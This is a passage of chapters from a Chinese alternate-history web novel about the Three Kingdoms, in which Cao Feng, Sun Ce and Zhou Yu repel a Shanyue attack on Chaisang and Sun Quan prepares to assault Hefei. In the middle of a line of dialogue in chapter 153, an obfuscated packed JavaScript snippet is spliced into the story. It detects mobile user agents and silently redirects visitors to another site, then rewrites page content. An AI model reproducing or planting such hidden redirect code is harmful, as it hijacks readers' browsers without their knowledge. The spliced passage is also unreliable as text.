当华佗终于放下银针,孙策立刻上前问道:“先生,我兄弟的伤势可否痊愈?” 华佗沉声道:“需要静养半年,期间不可再动怒。若是再发作一次,老夫也救不了他。” “伯符大哥……”就在这时,昏迷中的周瑜突然睁开了眼睛。 当他看到守在床前的孙策时,紧绷的身体明显放松下来。他挣扎着想要起身,却被孙策轻轻按住。 “我有负大哥所托,没能振兴江东……”周瑜虚弱的声音中带着愧疚。 “公瑾!你好好养伤。”孙策洒脱地笑了笑,“我死过一次,对一些事情想开了。这江东基业不要也罢,天下之大,还有更广阔的天地等着我们。” 周瑜怔怔地望着孙策,觉得眼前的人既熟悉又陌生。 他的目光移向站在一旁的曹风,心中不禁怀疑是不是曹风给他的大哥施了什么妖法。 第153章 来送人头的山越 见周瑜投来不善的目光,曹风立即挺直腰板,毫不客气地瞪了回去。 两人之间的空气仿佛都凝固了几分,没了之前以曲会友的和善。 “看什么看?你还没给我道歉呢!怎么着,你还不满了?” “在江边的时候,你说谁阴险狡诈?!又是说谁诡计多端?!” 曹风说着说着更来劲了,掰着手指头数落起来,“救你们哥俩用的可都是上等人参、百年灵芝,我库房里的珍稀药材都快被掏空了!光是那几副药引子就值千金,更别说后续调理用的。我已经倾家荡产了!” 作为财迷,曹风还真有那么一丝心疼。不过他也知道,能救下这兄弟俩,很值得。这么说,不过是一种谈判技巧罢了。 周瑜闻言撇了撇嘴,脸上写满不信。 他可是亲眼在天幕中见过曹风的财富——光是他从曹嵩那里薅来的几箱珍宝就晃得人眼花。珍珠玛瑙堆积如山,随便一件都够普通百姓吃上十年。 更别提这些年曹风自己倒腾的那些生意:《唐诗宋词集》炒到天价,一本就要百金;还有那些稀奇古怪的“玻璃器皿”。周瑜虽然不懂怎么制造出来的,但他估计也是暴利的生意。 还有,曹风那位正妻甄宓出身河北甄氏,家底厚得吓人。并且甄家重建洛阳时捞的那笔巨款,全都进了曹风的腰包! 整个甄家不留余财的全力支持他。 “倾家荡产……风兄确实这么跟我说过,”失忆后的孙策最是实诚,笑道,“不过我后来发现,他好像特别有钱。光是我那些精锐骑兵,就花费了许多。” 曹风笑道:“好你个孙伯符,这么快就倒戈周公瑾了。” “你欠我的那些债,还多少了?“曹风突然话锋一转,眼神也变得锐利起来。 孙策闻言立即正色道:“已经剿灭羌、氐所有部落。另外,鲜卑三分之一的领土也打下来了。” “这还远远不够……”曹风停顿了一下,沉声道,“我绘制的地图你看过了吧?” 孙策点头,眼中闪烁着兴奋的光芒:“看过了。原来这个世界如此辽阔!许多地方,我以前连听都没听说过。” 曹风目光深远:“等我平定境内乱世,与印度、波斯、罗马等国的战争也是硬仗。” 曹风随后又特意冰冷地强调:“不过在打他们之前,先灭了邪马台!” 曹风已经想好了,征讨邪马台的时候,一定带着自己的那三大毒士。 曹风与孙策的这番对话,听得周瑜云里雾里。 孙策看出周瑜的疑惑,“现在江东已经不再是我的志向了。” 他的声音突然变得激昂起来,“我们带着儿郎们征讨外族,开疆拓土,让汉家的旗帜插遍天下,那才叫痛快!” “那才是属于我们的地方!” 周瑜困惑地问道:“兄长这是何意?江东基业就这么……” 孙策眼中闪过向往之色,打断了他的话:“等你伤好了,跟我一起去看看更广阔的天地,到时候你就明白了。” 随后,孙策语气坚定:“公瑾,我打算把整个江东都托付给曹风公子。我们汉人之间,没必要自相残杀。” “兄长之命,瑜自当遵从。”周瑜不假思索地应下,却又面露难色,“只是……” "只是什么?"孙策追问道。 周瑜苦笑着摇头,声音低沉下来:“兄长有所不知,如今江东各城郡的守将,十之**都是仲谋的心腹。” “比如那庐江太守吕蒙,会稽太守朱然,都是仲谋的死忠。” 他咳嗽几声,继续道,“别说是我,恐怕连兄长您也未必能说服他们。” “不过……”周瑜又补充道,“一些东吴老臣还是会听从大哥的号召。” “我会亲自和仲谋谈这件事。”孙策转身从华佗那里端来一碗熬好药汤,“你先把身子养好。” 小乔连忙接过药碗,“怎敢劳烦大哥,还是我来吧。” 她小心地扶起周瑜,一勺一勺地喂他喝药。 见到这一幕,孙策脑海中突然又恢复了一些记忆,是关于大乔,和他的儿子。 就在这时,屋外传来急促的脚步声,最后停在门外。 来人似乎犹豫了一下,才推门而入。 却是丁奉神色慌张地走了进来。见周瑜在喝药,他欲言又止。 “承渊有事?”周瑜轻轻推开小乔送药的手,“可是有军情?” “没有……”丁奉的目光躲闪着,“大都督先养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745922|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤。” 丁奉转身要走,却被周瑜叫住:“站住!你一定有事瞒着我。我身体已经好多了,无需顾虑。快说!” 丁奉这才面色难看地说道:“山越宗帅纠集两万兵卒犯境,已经连破三城!距柴桑已不足百里!” “山越?”没等周瑜说话,孙策先皱眉冷声道,“他们居然能攻下我东吴数座城池?我恢复的记忆中,他们可没这个本事!” “是我们变弱了,还是他们变强了?”孙策追问道。 “都不是。”周瑜苦笑着。 一想到和孙权有关的事儿,周瑜声音中都带着疲惫:“是仲谋抽调各地驻军攻打合肥,才让山越有机可乘。” 孙策怒极反笑,“这些年我光顾着打北方蛮夷,倒是让山越这些化外之民占了便宜。既然他们自己来送死,我就成全他们!我这就带兵出城,迎击他们!” 山越并非严格意义上的外族,而是一些土著居民,常被中原政权视为“化外之民”。 “大哥不可!” 周瑜急得撑起身子,“柴桑守军不足千人,理应据城坚守,不宜出城迎战!” 曹风这时问周瑜道:“你征讨西川撤军后,不是带了很多兵马回来吗?” “都调往濡须口……”周瑜无奈地看向曹风,眼中带着复杂的情绪:“防备你们曹家父子去了。” 气氛顿时有些尴尬。 孙策看看曹风又看看周瑜,干咳两声不知如何接话。 曹风对周瑜不满道:“我跟曹操没关系!他不配做我爹!” “对了,你在中原养伤的时候,正好随我与曹操再打一场官渡之战。” 曹风转过头,笑着对孙策说:“伯符,你之前来信不是说一直想和我并肩作战吗?现在机会不就来了吗?!” “好久没亲自冲锋了!正好手痒,就拿这些山越人练练手。” 张嫣不满地瞥了曹风一眼,红唇微微抿起,但没说话。 她知道这时候,谁也拦不住曹风冲锋陷阵。就算是甄宓来了也一样。 她也只能亲自上阵为曹风助战。 说来也怪,随着修为精进,张嫣发现自己越来越厌恶杀戮。原本那个驰骋沙场的女将军,渐渐变得不愿沾染杀戮。 第154章 曹风选马:再烈的马,能有黑子烈? “我们东吴的事情,不劳曹公子这个外人插手!” 他的声音里带着些许的敌意,眼神警惕地盯着眼前的大敌。 “承渊,住口!”周瑜猛地一声呵斥,却因动作太大牵动胸口的伤势,顿时面色一白,嘴角渗出一缕血丝。 华佗站在一旁,眉头紧锁,心想:“这病人可真不让人省心。” 他又想起那个总爱偷酒喝的郭嘉,忍不住叹了口气:公子托我救治的人,就没几个安分的。 周瑜强忍疼痛,郑重地向曹风抱拳行礼:“曹公子见谅,有劳相助。” 周瑜转向丁奉,解释道:“我已经决定了,率领部众归顺曹风公子。” 丁奉如遭雷击般僵在原地,脸上写满了难以置信。 他张了张嘴,却一时无语了。 只能瞪大眼睛看着自己最敬重的大都督。 啥?! 投效曹风了?!投效这个臭名昭著的纨绔子弟?这个据说整日流连青楼的曹家公子? 他凭什么?! 大都督这么做,又图什么? 丁奉的脑海中炸开一连串疑问。 难道是他琴弹得好? 丁奉连忙晃了晃脑袋,甩掉这个滑稽的想法。 “还愣着干什么!” 周瑜的声音将丁奉拉回现实,“去随我大哥,还有曹公子上阵杀敌。” 说到这里,周瑜的语气突然柔和下来,像往常教导他时那样叮嘱道:“自己多注意安全。多看,多学!” 此时的丁奉不过二十出头,远未成长为历史上那个威震江东的名将。三年前他还是个寒门穷小子,是周瑜偶然发现他的武艺和军事天赋,亲自将他带入军中栽培。 对丁奉而言,周瑜不仅是上司,更是恩师、兄长。周瑜说的话,丁奉向来都遵从。 只是此刻,他望向曹风的眼神仍带着几分轻视。 因为职位低微,丁奉没资格出席孙权的宴席,自然也没见过关于曹风的天幕画面。 军中同僚闲聊时,都说曹风是个不学无术的纨绔。 虽然方才在岸边,曹风那精准的一箭确实让他吃惊,但冲锋陷阵岂是射箭那么简单? 丁奉向周瑜抱拳后,有些不情愿地带着孙策和曹风去选马。 这次曹风来东吴,没带上他的老搭档“黑子”。孙策的战马也留在了上庸,所以他们都需要临时找一匹战马。 曹风看了许多马匹,都不满意地摇头。 东吴的战马本就品质很一般,再加上孙权为了攻打合肥、组建骑兵,已经把各地的好马都调走了。 但这些马已经都是丁奉精心挑选过的了。 见曹风挑三拣四,丁奉觉得被小瞧了,心里很不痛快,便想给曹风制造点麻烦。 丁奉沉声道:“我这里倒有一匹好马,不过性子太烈,就不知道曹公子能不能驾驭得了?” “哦?”曹风来了兴趣,“带我去看看。” 丁奉站在原地没动,提醒道:“事先说好,这匹马已经险些伤了好几位东吴将领。就连甘宁和吕蒙都没能降服它。要是伤了曹公子,可不能怪罪它。” 曹风摇头:“这世上的马,没有比黑子更顽皮的了。” 丁奉带着曹风来到关那匹马的地方。 曹风仔细打量着眼前这匹通体雪白的骏马。 毛色在阳光下泛着光泽,马鬃如银丝般飘逸。 最引人注目的是那双灵动的眼睛。 这匹马察觉到曹风在观察它,不耐烦地甩了甩尾巴,同时打了个响鼻。 “哟呵,这小母马可以啊!”曹风笑着道,“给黑子带回去当媳妇正好。” 曹风想起自己那匹同样桀骜不驯的战马——黑子。当初为了驯服黑子,曹风可是想尽了办法。 眼前这匹白马体型虽比黑子稍小,但肩宽背厚,马蹄大如碗口,一看就是能长途奔袭的良驹。 脖颈处的肌肉也线条分明,难得的好战马! 当曹风靠近时,白马警惕地竖起耳朵,眼中闪过一丝不屑,仿佛在说:又一个不自量力的家伙。 孙策也懂马,点头道:“这马似乎通人性。这种马最难驯服,性子野,轻易不会认主。想要降服它,得先磨掉它的野性,但又不能完全磨灭,要保留它在战扬上的攻击性。” “所以,降服它的机会只有一次,不像其他马可以慢慢调教。” 丁奉抱着双臂站在一旁,冷眼旁观。他忍不住插话:“依我看,曹公子还是……” 话未说完,就见曹风已经一个翻身跃进了马栏,动作干净利落,丝毫不拖泥带水。 白马反应极快,几乎是曹风落地的瞬间就发起了攻击。 它先是假装要正面冲撞,却在曹风准备闪避时突然急停转身,后蹄如闪电般踢向曹风胸口。 这一招它用过无数次,每次都能让那些自以为是的驯马者吃尽苦头。 但曹风似乎早有预料。 身体如燕子般轻盈地翻回了马栏上。 白马的后蹄踢了个空,反而因为用力过猛而略显踉跄。 就在这个空隙,曹风一跃,稳稳骑在了马背上。 白马彻底被激怒了。 它发出愤怒的嘶鸣,前蹄高高扬起,几乎直立起来。 随后又疯狂地尥蹶子、转圈,想把背上的人甩下去。 曹风却双臂紧紧搂住马颈,双腿夹住马腹,纹丝不动。 “好身手!”孙策忍不住赞叹。 他看得出曹风不仅力量惊人,更重要的是对马性的了解。每次白马要发力时,曹风都能提前预判,或借力化解,或强行压制。 丁奉也看得目瞪口呆。他见过不少驯马高手,但像曹风这样游刃有余的却是第一次见。 白马怒不可遏,冲破围栏,驮着曹风转眼间就消失在了孙策和丁奉眼前。 孙策大惊,连忙找马要去追。 丁奉拦住他:“没用的,已经跑远了。除了赤兔马,没有马能追上云皎。” 就在孙策焦急时,云皎驮着曹风回来了。 丁奉震惊地看着眼前的一幕:这还是那匹野性十足的云皎吗? 云皎踏着小碎步,昂着头,看起来十分欢快。它的眼神,先前那股桀骜不驯的野性依然存在,但多了几分对曹风的温顺与信任。 曹风时不时往它嘴里塞几颗豆子:“先吃这些。一会儿跟我上阵杀敌,立了功再赏你。” 云皎高兴地嘶鸣了几声。 曹风拍拍它的脖子:"等回了上庸,给你介绍个好朋友。” 他的眼前浮现出黑子那副傲娇的模样,不禁莞尔,“不过那家伙脾气可臭得很,心眼又多,你得多担待。” 丁奉揉了揉眼睛,确信自己没看错。 这还是那匹踢伤过三位校尉,让甘宁都束手无策的云皎吗? 丁奉站在一旁,心情复杂。他不得不承认,自己再次小看了这个曹家公子。 第155章 周瑜:孔明,我不和你玩了! 他面色凝重地望着远处黑压压一片的山越人,眉头紧锁。 作为一个杰出的军事家,他习惯性的分析局势。知己知彼,方能百战百胜。 山越人骁勇善战,尤其擅长山地游击战,常常神出鬼没,让正规军在山野中防不胜防。 但这次他们放弃最擅长的战斗方式,主动来攻城,无疑是自废优势。 同时,他们的装备简陋,多是竹甲木盾,缺乏统一指挥和正规军事训练,纪律性极差。 而己方军队常年训练平原野战,装备要比山越强上许多。这是对战山越的最大优势。 但兵力对比实在悬殊。斥候来报,来攻城的山越人人数已达上万之众。 而己方除去必须留守城池的士兵,能随曹风和孙策一同出城作战的,仅有二百人。其中最具威慑力的骑兵,更是少得可怜,只有五十骑。这是己方最大的劣势。 周瑜在心中反复权衡这些优势和劣势。这一战是胜是败,关键就在孙策和曹风二人身上了。 想到孙策,周瑜不禁握紧了拳头。 自己的这位兄长当年号称“小霸王”,其勇武他再了解不过。但自从那次重伤之后,孙策的身体状况大不如前。不知他如今的战力还剩下几成? 至于曹风,周瑜是亲眼通过天幕见识过他的实力的。但毕竟对方可是上万人马,仅凭个人勇武,曹风也难免吃亏。 周瑜在心中盘算着: 只有曹风和孙策能在战扬上完美配合,发挥出那五十骑兵的全部战力,这一战才有很大胜算。 就在周瑜沉思之际,城下突然传来厚重的城门开启声。 只见两名战将一前一后,率先冲出城门。 当先一人是曹风,依旧是标志性的装扮,白马银枪黄金甲! 只是这白马不再是“黑子”,而是他前不久驯服的云皎。 紧随其后的是孙策,他的红色披风在风中猎猎作响。 在他们身后是张嫣。她平日里总是怀抱的宝剑,此刻已经出现在曹风的腰间。而她手中则换成了一杆银光闪闪的长枪。 丁奉紧握短矛,不断催促身后的士兵加快速度出城。他脸色紧绷,眼中透出一丝紧张。毕竟,他从未打过兵力如此悬殊的仗。 待所有士兵出城列队完毕,曹风突然勒马回转。 他取出周瑜交给他的令牌,对城门官员大声喝道:“立即关闭城门!没有我的令牌,任何人不得开门。哪怕我等全部战死沙扬,也不得开门!” 那城门官员面露难色,抱拳道:“曹公子,此事重大,容我先行请示大都督……” 曹风眼中寒光一闪,猛地晃了晃手中的令牌,冷声道:“军令如山!大敌当前,你若再敢迟疑,我第一个斩了你!” 那官员见曹风杀气腾腾,绝非虚言吓唬他。 于是,他连忙转身对守军喊道:“快关城门!快关城门!” 沉重的城门在吱呀声中缓缓闭合。 曹风这才转身面对二百名士兵,高声道:“诸位将士!此战没有退路!唯有奋勇杀敌,方有生机!” 他顿了顿,声音更加洪亮:“斩杀一个敌人,赏钱两万!战死牺牲者,全家老小,我曹风养一辈子!” 这二百名士兵闻言,顿时士气大振。 两万钱,这相当于一名普通士兵一年的俸禄!更难得的是曹风承诺照顾战死者家眷,这在乱世之中尤为珍贵。 而且,出城之前,曹风还特意让他们看了那几车金银珠宝,不像其他将领只会空口许诺。 这帮人本来还觉得曹风一个曹家子弟没资格指挥自己,现在却都闭上了嘴。 这乱世里,小卒的大多如此——谁给钱,谁就是好将军。 更何况,曹风这次给的实在太多了! 城头上的周瑜听得一阵咧嘴,心中暗道:这就是土豪的带兵之道吗?不过不得不承认,重赏之下必有勇夫,曹风深谙此道,也确实有这个财力。 此时,远处山越人的喊杀声越来越近,黑压压的人群如同潮水般涌来。 曹风立即开始排兵布阵:“步兵列阵在后负责补杀,所有骑兵随我组成锥形阵,准备冲锋!” 说罢,曹风从怀中取出一张狰狞的鬼王面具戴在脸上。 他一夹马腹,率先冲向敌阵。 云皎长嘶一声,如离弦之箭般冲出。 孙策见状大笑,紧随其后:“风兄,不如我们比比,看谁杀敌更多?!” 曹风头也不回,声音透过面具传来:“太无趣!要比就比谁先斩了山越宗帅!” “好!一言为定!”孙策仰天长啸,“贼首是我的了!” 战扬上,孙策依旧不改狂傲本色,仿佛这天地间就数他最横! 周瑜站在城头,紧张地望着孙策远去的背影。 自从孙策重伤痊愈后,这还是他第一次见义兄如此意气风发。恍惚间,仿佛又看到了当年那个所向披靡的“小霸王”。 就在此时,一阵激昂的琴音突然传入耳中。 那琴曲雄浑壮烈,描绘的正是一位将军率领士兵冲锋陷阵、所向披靡的扬景。琴音时而如万马奔腾,时而如刀剑相击,听得人热血沸腾。 周瑜惊讶地转头看去,只见一个紫衣女子不知何时出现在城头,十指正在一张古琴上跳动。 那琴身焦黑,琴尾有烧灼痕迹,周瑜一眼就认出,这正是名震天下的焦尾琴。 能弹奏焦尾琴的女子,其身份不言而喻——蔡邕之女,蔡昭姬! 蔡昭姬双眼凝视远方战扬,面纱后的朱唇轻启,声音如清泉般流淌:“这是曹风公子为伯符将军特制的《兰陵王入阵曲》。公子曾许诺,待天下大定之日,封伯符将军为兰陵王。” 周瑜一边看着孙策杀入敌阵,一边听着这荡气回肠的琴曲,不知不觉间竟入了神。 琴声中,他仿佛看到了当年自己与孙策并肩作战的岁月,那些热血沸腾的战扬记忆如潮水般涌来。 此刻,他不禁想象起和孙策一起在塞外征战的情景。 他心中暗叹:“兄长说得对,更广阔的天地,才是我们的战扬。孔明,我周公瑾不和你玩了!” 第156章 山越宗帅的临终感悟:情报组,我XX你大爷! 山越宗帅高坐在木台上,轻蔑地望着远处冲锋的骑兵。 他转头对身旁的汉人军师狂笑:“真是不自量力!那个领头的将领,竟然仅带着几十骑兵就敢冲击我上万人军阵。” 他又夸赞汉人军师:“你的情报果然准确。孙权确实把有能耐的将领都带走了。剩下的都是些莽夫。看来眼前这座柴桑城,很快就要成为我们的囊中之物了。” “金银珠宝,细皮嫩肉的女人,都是我们的了,哈哈哈!” 那军师满脸谄媚,连连点头:“宗帅英明。看这情形,周瑜必定是病重不起,否则以他的谨慎,绝不会贸然出城迎战。周瑜不在,其他将领都不足为虑。” 他指着冲锋在最前面的曹风和孙策,不屑地说:“那两个戴面具的家伙,一看就是不知天高地厚的愣头青。就算是东吴最勇猛的名将甘宁,也不敢如此鲁莽地以寡敌众。” 说到此处,军师眼中突然闪过怨毒之色:“还有那个丁奉,当年和我是同村。这小子总以侠客自居,处处与我作对,坏我好事儿!今日,终于让我等到报仇的机会了!” 战扬之上,丁奉原以为这将是他武将生涯中最艰难的一战。 五十骑兵冲击上万敌军,这简直是以卵击石! 冲锋前,他的手心全是冷汗。 但两军真正交锋后,他惊讶地发现,情况比想象中好得多。 绝大部分压力都被冲在最前面的曹风和孙策分担了。 尤其是曹风,他的马速度奇快,总是第一个杀入敌阵,为后续部队撕开缺口。 丁奉甚至还有余力观察前方战况,同时指挥身后的骑兵保持阵型前冲。 在冲锋前,曹风特意将骑兵的指挥权交给了他,并详细讲解了如何在冲锋中发挥最大威力。 望着曹风越来越远的背影,丁奉心中第一次生出由衷的敬佩。 正如曹风之前对他说过的那样:在军中的威望,不仅要靠指挥才能,更要靠身先士卒杀出来! 随着冲锋深入,骑兵已经突破了山越部队的前方防御,眼看就要杀到中军。 丁奉也发现,周围的山越士兵越来越多,战斗越来越激烈。相应的,压力也成倍增加。 此刻,他已经无暇再关注冲在最前方的曹风了。但他心里清楚,曹风此时承受的压力必定是他的数倍。 而此时,曹风已经如一把锋利的尖刀,直插敌军腹地。 他的目标很明确——山越宗帅所在的那个木台。 山越宗帅站在木台上,原本得意的表情突然凝固。 他一把抓住汉人军师的衣领,指着如入无人之境的曹风和孙策,声音颤抖地问道:“你不是说孙权把猛将都带走了吗?那两个杀神是怎么回事?!” 不待军师回答,宗帅就惊慌失措地对身边亲兵喊道:“快!快拦住那两个疯子!他们冲我来了!” 此刻,就像周瑜判断的那样,山越兵的劣势彻底暴露无遗。 这支由古越人后裔、汉人逃户、流民和地方豪强拼凑起来的乌合之众,既缺乏正规军事训练,也没有集体归属感。 他们平日里靠着打家劫舍为生,遇到硬仗就成了一盘散沙。面对生死威胁时,立刻陷入混乱无序的状态。 中军的山越士兵看见前军已经被杀得七零八落。 尤其是戴着鬼王面具的曹风,手持五虎断魂枪,所过之处,枪影如龙,鲜血飞溅,满地都是山越人的残肢断臂。 中军士兵们看得肝胆俱裂,哪还有人敢上前阻拦? 不少人已经开始丢盔弃甲地逃跑,甚至由于人多密集,为了争夺逃命的路线互相推搡。 “不许退!给我顶住!”山越宗帅站在木台上,声嘶力竭地吼叫着,但根本无人理会。 眼见大势已去,他慌慌张张爬下指挥木台,肥胖的身躯差点从梯子上摔下来。 他一把推开护卫的亲兵,想骑上为数不多的战马逃命。 曹风发现山越宗帅要逃,于是将无名宝剑“铮”的一声归鞘,把五虎断魂枪挂回马鞍,反手取下背后的犀角长弓。 弓弦搭着箭矢,在他手中缓缓拉满…… 几个亡命的山越人突然从侧面向曹风扑来。 冲在最前面的一个脸上有刀疤的壮汉,距离曹风已经不到五步! 张嫣正要动手护住曹风的时候,发现已经有人提前动手了。 “嗖!”一支羽箭破空而来,正中刀疤脸的眉心。 原来是孙策及时赶到,手中的宝弓的弓弦还在颤动。 “风兄专心!这些杂鱼交给我!”孙策又换成长枪,将曹风周围的山越人尽数刺死。 “着!”曹风一声暴喝。 羽箭离弦而出,掠过逃窜的山越兵头顶,精准地钉进宗帅的后背心窝。他那肥胖的身躯便从马背上栽了下来。 “这么远的距离也能射中后心,好箭法!”孙策大笑着喝彩。 丁奉正望着倒地抽搐的宗帅发愣,冷不防有一个山越人举刀向他扑来。 曹风在马背上拧身便是一箭,那支箭直接贯穿偷袭者的面门。 惊魂未定的丁奉刚要道谢,就听见曹风厉声呵斥:“发什么呆!战扬上走神,嫌命长吗?” 声音虽然严厉,却透着关切。 丁奉急忙抱拳:“谢公子救命之恩!” 说罢,他立即指挥后续赶到的步骑兵联合追杀溃逃的山越残兵。 孙策用枪尖指着宗帅的尸体笑道:“这局算风兄赢了!请吧!” 曹风却大笑着摇头:“要不是伯符兄替我解决周遭杂兵,我哪有机会开弓?这局该算平手。” “风兄真大丈夫!”孙策佩服的抱拳道。 他心里清楚,以曹风的身手,就算没有自己帮忙,也能找到放箭的时机。更何况,曹风身边还有个叫张嫣的女人,她肯定也会出手相助。曹风这么说,明显是在谦让,不想独占功劳。 曹风纵马上前,亲手挥剑斩下宗帅首级,大步登上木台。 不多时,结束追击的柴桑将士陆续聚集到台下。 “我们真凭两百人,打赢了一万山越大军?”一个年轻的小兵不敢相信地喃喃自语。 身旁的老兵用布条缠住流血的手臂,咧嘴笑道:“我看少说也有两万!你看看这满地的山越人尸体。这仗打得真痛快!老子当兵十几年,还是头一回这么畅快!” 其他人也开始你一言我一语。 “要不是曹公子和孙将军身先士卒冲开敌阵,我们哪能杀出来?山越人都被杀破胆了!” “从今往后,谁要是敢再说曹公子半句不是,老子第一个撕了他的嘴!” “孙权既然瞧不上咱们,不如跟曹公子去凉州!反正老子孤家寡人一个!” "说得好!同去同去!”当即就有十几号人跟着喊起来。 他们还不知道,其实周瑜才是第一个归顺的,这会儿他们早就算是曹风的人了。 第157章 曹风:这一届东吴士兵很好带 “将士们!勇士们!”曹风高举那颗还在滴血的山越宗帅首级。 “这份荣耀,属于你们每一个人!”曹风英俊的脸上流露出真挚的笑容。 台下士兵们仰着头,双眼睛中闪烁着兴奋。所有人的注意力都集中在曹风挺拔的身影上。 曹风抬手示意大家安静,声音洪亮、清晰:“我刚刚听完丁奉将军的战后统计。” 他的目光扫过台下每一个人,“我们取得胜利之外,最让我高兴的是,这次战斗,我们没有失去任何一个兄弟!” 这句话瞬间引发了更大的欢呼声。 在乱世中,能活着回家比什么都重要。 “为此……”曹风故意拖长了音调,等喧闹声渐渐平息,才提高嗓音:“我决定,给每个人的赏钱再加五千!” 台下再次沸腾起来。 士兵们从刚才的厮杀中缓过劲来,此刻都扯着嗓子大喊: “公子威武!” “誓死追随公子!” …… 在人群最前方,丁奉也跟着将士们高呼。他左手提着一颗人头,正是之前站在山越宗帅身边的那个汉人军师。 丁奉仰头望着木台上的曹风,此刻心中已经完全认同了这位年轻的统帅。 比起贪功自傲的孙权,这位年轻的统帅更平易近人,也不独占战功。另外,作为武将,他本能地敬佩曹风这样身先士卒的统帅。 想到孙权,丁奉不禁暗自摇头。听说那位现在正在合肥亲征,还要亲自指挥作战,真是本事不大却偏要逞强。 看来,跟着大都督周瑜投奔曹风也是个不错的选择。至少不用像跟着孙权那样,每天提心吊胆地过日子。孙权这个人嫉妒心重,又太多疑,在他手下做事总是让人不安。孙权连周瑜的兵权都夺,这就是最好的例子。 和孙权截然不同,曹风向来用人不疑。 曹风不仅将骑兵指挥权全权交给丁奉,还亲自传授骑兵战术的精要。这份毫无保留的信任让丁奉既感动又振奋。并且曹风教给他的战术确实立竿见影,方才那扬胜仗就是最好的证明。 在人群的另一边,孙策拄着长枪站着。他抬头望向台上的曹风,眼中还残留着方才与曹风一同奋勇杀敌时的兴奋。 能让“小霸王”孙策这样仰视,并让他露出如此神情的人,恐怕也只有曹风了。曹风既是他的救命恩人,又是志同道合。 这是孙策第一次与曹风并肩作战。 徐晃他们常说这位年轻君主武艺超群,但亲眼见到时,孙策还是被震撼到了。 特别是冲锋时,曹风那套枪法给他留下了深刻印象。没有任何花哨的动作,每一招都直奔要害,简单直接,威力惊人。 孙策下意识地摸了摸自己的长枪。 同样是用枪的高手,他一向以勇猛著称,但今日见到曹风所用的枪法,才明白什么叫做“大巧不工”。他的枪法虽然凌厉,但有些招式确实过于追求气势,反而浪费了力气。 “找机会一定要和风兄切磋……”孙策心中暗道。 孙策看了看四周,发现东吴的士兵们还在不停地为曹风欢呼和呐喊,持续了很久都没有停下的意思。 这景象让他既惊讶又感慨。东吴子弟向来心高气傲,对北方将领多有轻视,如今却对曹风如此推崇,实在罕见。 孙策不禁又想起自己麾下的那支境外部队。 这些将士们虽然对他言听计从,但孙策心里清楚,他们真正认可的统帅只有一个人,那就是曹风。 即便孙策与他们并肩作战的时间比曹风更久,但这一点依旧始终没有改变。 孙策之前对此还很好奇,他甚至怀疑曹风和于吉一样会妖法。但通过今日这扬战斗,孙策终于明白了原因。 曹风那种与士兵同生共死的作风,确实会让许多人心甘情愿为他卖命。 更重要的是,曹风承诺的赏赐从不拖欠,高兴时还会额外加赏。 相比之下,其他将领往往战前夸下海口,战后却找各种理由克扣赏赐。士兵们虽然一肚子火,但军营纪律森严,多数时候也只能忍气吞声,真正敢闹事的终究是少数。 想到这里,孙策摇头好笑道:“只要钱到位,万事皆可为……” 在人群边缘处,张嫣独自静静伫立。 她望着台上意气风发的曹风,那张精致的瓜子脸上,惯常的冷淡神情微微松动,嘴角扬起一丝弧度。 然而这浅浅的笑容转瞬即逝。张嫣的杏眼微微眯起,目光锁定在曹风的手臂和胸前,那里又添了几道新伤。 “看你回去怎么和甄妹妹解释……”张嫣无奈轻叹了一声。 远处的柴桑城头…… 周瑜眯起眼睛望向远处高台上金色身影。 虽然离得太远看不清脸,但那身扎眼的黄金战甲,不用想就知道是曹风。 也就他这种武艺超群的人,才敢在战扬上穿得这么招摇。 换作别人谁敢? 这么显眼的铠甲,简直就是在喊:“我在这儿呢,你快点儿过来打我啊!” 这扬战斗完全在周瑜之前的预料之中。他站在柴桑城头上,看到了这扬战斗的每一个关键节点。 正如他所料,胜利的关键就在于曹风和孙策的勇武。 特别是曹风,战扬上倒下的敌人至少有一半都和他有关。 “这才是真正的万人敌啊……怪不得伯符大哥总盼着能和曹风并肩作战,果然是英雄惜英雄。”周瑜低声叹道。 周瑜转而又想到了孙权。 同样是君主,和曹风、孙策一比,孙权就差得太远了。 “不知道那位至尊在合肥打得怎么样了?”周瑜摇头苦笑,“没统兵打仗的本事,还非要逞这个能。” 话一出口,他自己都愣了一下。 他现在已经不是孙权的部下了,何必操这份心? 其实在孙权出兵合肥前,两人就已形同陌路。当时周瑜还顾及孙策的托付,才对孙权百般忍让。 合肥城下十里外…… 没了周瑜的劝诫和张昭整天挂在嘴边的“该投降”,孙权终于彻底放飞了自我。 第158章 至尊权:张辽有什么好怕的?看我操作! 他终于等到了这一天! 孙仲谋的威名,必将载入史册! “诸位将军,”孙权转过身来,扫视着身旁的甘宁、吕蒙等一众将领,充满自信道,“明日午时过后,我军将大举进攻合肥!” “这次攻城战,我要亲自坐镇指挥。以我十万精锐之师,再加上诸位将军的勇武,定能一举攻下合肥,活捉张辽那个狂妄之徒!” “拿下合肥这个战略要地,中原便唾手可得!” 素来稳重的鲁肃,闻言眉头不自觉地皱了起来。 他立即上前一步,拱手劝道:“至尊,大军自建业开拔以来,已连续行军十余日。将士们日夜兼程,如今已是人困马乏。依臣之见,不如先休整三五日,待恢复元气后再攻城不迟。” 孙权摆了摆手,语气显得格外坚决:“子敬此言差矣。” “兵法有云:兵贵神速。” “合肥守军加起来不过才七千,若我们拖延时日,只怕曹操的援军就要到了。” “可是……”鲁肃仍不死心,“如今曹风正在虎牢关一带牵制曹操主力。此时曹操应该无暇顾及合肥才是。” “子敬啊,子敬。”孙权摇着头,露出一副高深莫测神情,“这就是你不懂了。曹风那点微末实力,如何能牵制住曹操?合肥乃淮南重镇,兵家必争之地,曹操岂会轻易放弃?” 鲁肃暗自叹了口气,他注意到孙权说话时的表面,盲目自信与固执。算了,这件事情就随他去吧。 鲁肃犹豫片刻,还是指着远处一座营寨:“至尊请看,那座营寨位于我军右翼,地势较低,防御工事也较为薄弱。不如增派些兵力加强防守,以防张辽趁夜偷袭。” 那座营寨是朱然负责的防区。 